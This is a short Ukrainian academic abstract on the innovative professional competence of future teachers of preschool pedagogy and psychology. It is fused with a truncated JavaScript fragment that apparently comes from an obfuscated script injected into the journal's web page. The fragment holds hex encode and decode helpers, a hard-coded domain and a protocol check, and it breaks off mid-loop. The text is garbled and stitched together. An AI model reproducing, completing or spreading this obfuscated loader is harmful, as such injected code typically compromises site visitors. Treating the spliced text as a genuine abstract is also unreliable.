У статті розкрито сутність понять «інноваційна діяльність», «інноваційна професійна діяльність викладача дошкільної педагогіки і психології», «компетентність», «інноваційна компетентність»; розглянуто складові інноваційної компетентності; визначено компетентності майбутнього викладача дошкільної педагогіки і психології у сфері інноваційної професійної діяльності.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pedosvita.kubg.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e